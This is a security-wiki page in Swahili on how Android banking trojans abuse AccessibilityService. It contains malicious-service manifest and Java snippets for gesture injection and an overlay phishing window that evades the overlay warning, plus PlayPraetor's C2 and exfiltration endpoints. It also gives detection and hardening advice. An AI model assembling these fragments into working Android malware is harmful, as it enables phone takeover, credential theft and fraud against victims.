Android Accessibility Service Abuse

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Overview

AccessibilityService iliumbwa kusaidia watumiaji wenye ulemavu kuingiliana na vifaa vya Android. Kwa bahati mbaya, APIs hizi za automatisering yenye nguvu (urambazaji wa kimataifa, uandishi wa maandiko, usambazaji wa ishara, madirisha ya overlay…) zinaweza kutumika na malware kupata udhibiti kamili wa mbali wa simu bila ruhusa za root.

Trojan za benki za kisasa za Android na Trojan za Upatikanaji wa Mbali (RATs) kama PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda na wengine wengi wanafuata mapishi sawa:

  1. Mtu wa kijamii amshawishi mwathirika kuwezesha huduma ya upatikanaji isiyo halali (ruhusa ya BIND_ACCESSIBILITY_SERVICE inachukuliwa kuwa "hatari kubwa" na inahitaji hatua wazi kutoka kwa mtumiaji).
  2. Tumia huduma hiyo ili
  • kukamata kila tukio la UI na maandiko yanayoonekana kwenye skrini,
  • kuingiza ishara za bandia (dispatchGesture) na vitendo vya kimataifa (performGlobalAction) ili automatishe kazi yoyote anayotaka opereta,
  • kuchora overlays za skrini nzima juu ya programu halali kwa kutumia aina ya dirisha TYPE_ACCESSIBILITY_OVERLAY (hakuna onyo la SYSTEM_ALERT_WINDOW!),
  • kimya kimya kutoa ruhusa za ziada za wakati wa kukimbia kwa kubofya kwenye mazungumzo ya mfumo kwa niaba ya mwathirika.
  1. Kutolea data au kufanya On-Device-Fraud (ODF) kwa wakati halisi wakati mtumiaji anatazama skrini ambayo ni ya kawaida kabisa.

Requesting the permission

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

XML ya mshirika inaelezea jinsi mazungumzo ya uwongo yatakavyokuwa:

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Msingi wa automatisering ya UI ya mbali

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

Kwa kutumia APIs hizi mbili tu, mshambuliaji anaweza:

  • Kufungua skrini, kufungua programu ya benki, kuhamasisha mti wa UI wake na kuwasilisha fomu ya uhamisho.
  • Kukubali kila sanduku la ruhusa linalojitokeza.
  • Kuweka/update APK za ziada kupitia dhamira ya Play Store.

Mifumo ya Unyanyasaji

1. Ulaghai wa Overlay (Kukusanya Taarifa za Utambulisho)

WebView ya uwazi au isiyo ya uwazi inaongezwa kwenye meneja wa dirisha:

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

Mtu waathirika anaandika taarifa za kuingia kwenye fomu ya uwongo wakati programu ya nyuma inapokea ishara hizo hizo – hakuna onyo la "draw over other apps" linaloonekana.

Mfano wa kina: sehemu ya Accessibility Overlay Phishing ndani ya ukurasa wa Tapjacking.

2. Uhalifu wa Otomatiki kwenye Kifaa

Familia za malware kama PlayPraetor zinaweka channel ya WebSocket inayodumu ambapo opereta anaweza kutoa amri za kiwango cha juu (init, update, alert_arr, report_list, …). Huduma hiyo inatafsiri amri hizo kuwa ishara za kiwango cha chini hapo juu, ikifanikisha shughuli zisizoidhinishwa za wakati halisi ambazo kwa urahisi hupita uthibitishaji wa hatua nyingi uliofungwa kwa kifaa hicho.

3. Utiririshaji wa Skrini & Ufuatiliaji

Kwa kuunganisha MediaProjection API na maktaba ya mteja wa RTMP, RAT inaweza kutangaza framebuffer ya moja kwa moja kwa rtmp://<c2>:1935/live/<device_id>, ikimpa mpinzani ufahamu kamili wa hali wakati injini ya Accessibility inasababisha UI.


PlayPraetor – mtiririko wa amri & udhibiti

  1. HTTP(S) heartbeat – piga duru kwenye orodha iliyoandikwa kwa mkono hadi kikoa kimoja kijibu POST /app/searchPackageName na C2 inayofanya kazi.
  2. WebSocket (bandari 8282) – amri za JSON za pande mbili:
  • update – peleka mipangilio mipya/APKs
  • alert_arr – tengeneza templeti za overlay
  • report_list – tuma orodha ya majina ya pakiti yaliyolengwa
  • heartbeat_web – keep-alive
  1. RTMP (bandari 1935) – utiririshaji wa skrini/video wa moja kwa moja.
  2. REST exfiltration
  • /app/saveDevice (alama ya kidole)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (taarifa za benki)

AccessibilityService ni injini ya ndani inayogeuza amri hizo za wingu kuwa mwingiliano wa kimwili.


Kugundua huduma za upatikanaji zenye uharibifu

  • adb shell settings get secure enabled_accessibility_services
  • Mipangilio → Upatikanaji → Huduma zilizopakuliwa – angalia programu ambazo sio kutoka Google Play.
  • Mifumo ya MDM / EMM inaweza kutekeleza ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) kuzuia huduma zilizopakuliwa.
  • Changanua huduma zinazofanya kazi:
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

Mapendekezo ya kuimarisha kwa waendelezaji wa programu

  • Alama maoni nyeti kwa android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Changanya setFilterTouchesWhenObscured(true) na FLAG_SECURE ili kuzuia utekaji wa tap/overlay.
  • Gundua overlays kwa kupiga kura WindowManager.getDefaultDisplay().getFlags() au API ya ViewRootImpl.
  • Kata kufanya kazi wakati Settings.canDrawOverlays() au huduma ya Upatikanaji isiyoaminika inafanya kazi.

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks